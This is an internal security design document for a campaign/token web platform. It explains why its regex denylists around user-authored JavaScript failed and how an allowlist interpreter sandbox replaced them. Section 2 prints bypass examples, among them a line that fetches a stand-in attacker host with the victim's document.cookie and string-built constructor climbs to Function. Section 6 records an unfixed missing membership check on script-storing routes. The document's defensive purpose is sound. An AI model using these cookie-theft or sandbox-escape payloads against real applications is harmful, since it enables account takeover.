Script Execution Trust Boundaries
Status: 🟢 Shipped (v0.45.0) for the passive surfaces; 🟡 Committed decision for the action surface. Scope: every place the platform executes JavaScript that a user wrote, in a browser belonging to a different user. Origin: raised while writing the "Where formatting logic lives (code vs. data)" subsection of 5-character-sheet-overhaul/requirements.md, which assumes the campaign-scoped
renderFunctiontier is "sandboxed". Before v0.45.0 it was not.
1. The question
Campaign data carries user-authored JavaScript in three places. For each, the question that decides everything else is: does someone choose to run this, or does it run at them?
| # | Surface | Author | Runs in | Trigger | Boundary |
|---|---|---|---|---|---|
| 1 | Token/campaign actions + campaign functions (IAction.code) |
any campaign participant | every participant who clicks it | explicit click | Accepted — §3 |
| 2 | IPropType.renderFunction |
any campaign participant | every viewer of a token/sheet | passive — hover, render | Not accepted — §4 |
| 3 | Bar valueFunction |
any campaign participant | every viewer of the map | passive — every render | Not accepted — §4 |
Surfaces 2 and 3 are materially different from surface 1 and always were. A
player who clicks another player's action has made a choice comparable to
running a macro someone handed them. A player who moves their mouse across the
map has made no choice at all — and the code that runs gets the same ambient
authority the app itself has: fetch, localStorage, the DOM, and the Clerk
session token. That is account takeover triggered by hover.
The "Author" column says any campaign participant, not campaign owner, deliberately. See §6 — the server does not currently check.
2. What was actually there (pre-v0.45.0)
Three surfaces, three different fictions:
ActionExecutor.validateAction()implemented a denylist of dangerous patterns — and a repo-wide grep found call sites only inactionExecutor.test.ts. No execution path called it. Actions compiled and ran throughnew AsyncFunction(...)with no check whatsoever. The function was dead code whose presence implied a control that did not exist, and the test suite asserted that implication was true.compileRenderFunction()inpropTypes.tsrannew Function('"use strict"; return (' + source + ')')()with no validation at all, on the passive hover path.validateExpression()insafeEval.tswas wired up — but itsSAFE_GLOBALSallowlist was commented out behind aTODO: Implement whitelist validation, leaving a regex denylist (/\beval\b/,/\bconstructor\b/,/\bwindow\b/, …) in front ofnew Function.
Why the denylists could not have worked
They matched source text, and the thing they guarded (new Function)
accepts any spelling of the same program:
v["con" + "structor"]["con" + "structor"]("return globalThis")()
v[["cons","tructor"].join("")]
globalThis["fet" + "ch"]("https://attacker.example/?c=" + document.cookie)
None of these match /\bconstructor\b/, /\bfetch\b/, or /\bdocument\b/.
A denylist in front of a compiler is a spelling test, not a boundary. This is
the whole argument for §4.
3. Decision: actions are an accepted trust boundary
Accepted, deliberately, and documented at the compilation site.
Actions exist to drive the application: roll dice, mutate token state, emit chat, request rolls from other clients, apply damage. That is ambient authority over the session, and it is the feature. They are player-initiated, and the platform's sharing model is invitation-based: campaign membership is a social trust decision the user already made.
What changed in v0.45.0 is honesty, not enforcement:
ActionExecutor.validateAction()was deleted. Wiring it in was the other option and was rejected: it would have broken legitimate actions (any action whose string content mentionsprototype, any use ofimportin a comment) while stopping no attacker, and would have converted a visible no-op into an invisible false guarantee.- The compilation site now carries a
TRUST BOUNDARYcomment stating plainly that action code runs with full page authority and that nothing sandboxes it. - The
JsCodeEditorlinter's warnings were reworded. They used to saywindowandfetchwere "not available in action code" — untrue, and readable as enforcement. They now say discouraged, which is what they are. - Syntax checking for authors stays in the editors (
ActionEditor.validateCode,JsCodeEditor's linter), where a syntax error is feedback rather than a security claim.
This decision is revisitable and should be revisited if the product changes in any of these ways: public/joinable campaigns (no invitation step), marketplace or import of third-party campaign content, or any flow where a user runs an action authored by someone they have not chosen to trust. See §7 for what the fix would cost.
4. Decision: passive surfaces are not an accepted boundary — sandboxed
renderFunction and bar valueFunction now evaluate in an allowlist
sandbox: packages/shared/src/sandbox/.
There is no new Function, no eval, and no code generation on these paths.
User source is tokenized, parsed into a small AST, and executed by a
tree-walking interpreter. The security argument is structural rather than
enumerative: syntax the grammar does not include has no implementation to
reach.
What the language is
Expressions: literals, template literals, arrays, objects, + - * / % **,
comparisons, && || ?? !, typeof, ternaries, member access (static and
computed), calls, optional chaining, arrow functions (expression- and
block-bodied), const/let, return, if/else.
Not in the grammar, therefore a parse error: assignment, new, function,
class, this, await/async, import, loops, try/throw, delete,
void, in, instanceof, spread, regex literals, tagged templates,
increment/decrement, computed object keys, __proto__ as an object key.
Reachable values: the arguments/scope the caller passes in, plus one frozen
table — Math (no random), Number, String, Boolean, Array.isArray,
Object.keys/values/entries, parseInt, parseFloat, isNaN, isFinite —
and per-type method allowlists for strings, numbers and arrays.
The three properties that make it a boundary
- No host object graph is exposed. Property reads go through one gate
(
getMember), which serves own data properties only: no prototype chain, so noconstructorto climb toFunction; and no getters, so reading a value cannot run host code. Methods like.join()are wrappers built inruntime.ts, not host functions handed out from a prototype. - Host functions never become callable. Any function value reaching the
sandbox as data is replaced with
undefined. Operators that would invokevalueOf/toStringon an object operand use an internal conversion instead, so a hostiletoStringin application data cannot re-enter. - Computed keys get the same treatment as literal ones.
v["con"+"structor"]is checked on the resolved key, so the string-construction bypass class — the one that defeated the denylist — does not exist.
Plus liveness: step, call-depth and string-length budgets, so a formatter
running per-token per-frame cannot hang the tab ((n) => f(n)+1,
"x".repeat(1e9)).
Behavioural consequences, accepted
- A formatter using syntax outside the grammar (a loop,
new Date()) stops working and falls back to default formatting, with oneconsole.warnper distinct source. No shipped formatter is affected — everyrenderFunctionindemoData.tsand the system fixtures, and every stock bar template, is covered by tests. - Formatters can no longer mutate the value they format (there is no assignment). This was never intended and no shipped formatter did it.
Where this is pinned
| Test | Pins |
|---|---|
packages/shared/src/sandbox/sandbox.escapes.test.ts |
~70 escape attempts — compiler access, ambient authority, prototype climbing, string-built keys, host re-entry, DoS — all refused |
packages/shared/src/sandbox/sandbox.test.ts |
the grammar, and every formatter/bar expression the platform ships |
packages/shared/src/sandbox/noDynamicCodeOnPassivePaths.guard.test.ts |
that propTypes.ts, safeEval.ts and hoverProperties.ts contain no new Function / new AsyncFunction / eval, and do route through the sandbox |
apps/web/src/utils/safeEval.test.ts, propTypes.renderFunction.test.ts |
the same boundary at the consumer, in the shape the hover/render path calls it |
The guard test lives in packages/shared on purpose: apps/web's test script
is a echo "No tests yet" stub, so a guard placed beside the files it checks
would never run in CI and could never fail a build.
5. Rule for new surfaces
Before executing user-authored source, ask who triggers it:
- Passive (renders, hovers, subscriptions, background refreshes) → the
sandbox, no exceptions.
compileSandboxedFunction/evaluateSandboxedExpression. - Explicitly invoked → may use the action path, but must be documented here and at the call site, and must be invoked by a real user gesture rather than something a page can trigger on its own.
Never a denylist in front of a compiler. If the sandbox is too narrow for a new
use, widen GLOBALS in runtime.ts (one table, reviewable) rather than
reaching for new Function.
6. Residual finding — server-side authorization (NOT fixed here)
The "Author" column in §1 says any campaign participant. That is generous: the campaign-scoped routes that store script-bearing data enforce authentication only, never campaign membership or ownership:
| Route | Guard | Membership check |
|---|---|---|
POST/PATCH /api/campaigns/:campaignId/prop-types |
requireAuthWithImpersonation |
✗ none |
POST/PATCH /api/campaigns/:campaignId/bars |
requireAuthWithImpersonation |
✗ none |
POST/PATCH /api/campaigns/:campaignId/functions |
requireAuthWithImpersonation |
✗ none |
POST/PATCH /api/campaigns/:campaignId/actions |
requireAuthWithImpersonation |
✗ none |
PATCH /api/tokens/:id |
requireAuthWithImpersonation |
✗ none |
So any authenticated account that knows or guesses a campaign id can write a
renderFunction or valueFunction into that campaign. Before v0.45.0 that was
a remote-code-execution primitive against every member of the campaign,
available to any account. It is now a way to write a formatter that the sandbox
refuses to run — materially reduced, but still unauthorized writes to another
user's campaign.
checkCampaignAccess(userId, campaignId) already exists in
utils/campaignAccess.ts
and is used by maps.ts, campaignCharacters.ts, catExport.ts, deleteInfo.ts
and tokenOwnership.ts. Applying it to the routes above is the fix. It is
deliberately out of scope for this change — it alters authorization
behaviour across many routes, needs its own API tests, and risks breaking
seeding/import flows that write campaign traits. It should be its own commit,
and it is the highest-value follow-up in this area.
7. If the action decision is ever revisited
Sandboxing actions is a version-scale project, not a patch. Recorded so the estimate does not have to be rediscovered:
- Actions are inherently effectful —
token.setProperty,applyDamage,sendMessage,target.requestRoll,draw. A sandbox for them is not "no host access" but "host access only through an audited API". - The natural home is a Worker, with the action API exposed as async RPC.
That breaks two things campaign scripts rely on today:
roll()being usable withoutawait, and self-mutation being detected by the JSON-diff ofcontext.token.metadatabefore/after the run. - Every existing campaign's actions would need migration, since sync proxies become promises.
- A cheaper interim step, if a public-campaign feature lands before the full project: gate action execution on authorship — run without prompting when the action was authored by the campaign owner or the executing user, and show a one-time "this action was written by X, run it?" confirmation otherwise. That converts the passive-adjacent case (clicking an unfamiliar token's action) into an informed one without touching the runtime.
8. Files
| Path | Role |
|---|---|
packages/shared/src/sandbox/ |
the sandbox — tokenizer → parser → interpreter, with runtime.ts holding the value model and the entire reachable-name table |
apps/web/src/utils/propTypes.ts |
renderFunction compilation (surface 2) |
apps/web/src/utils/safeEval.ts |
bar valueFunction evaluation (surface 3) |
apps/web/src/utils/actionExecutor.ts |
action compilation (surface 1) — carries the TRUST BOUNDARY comment |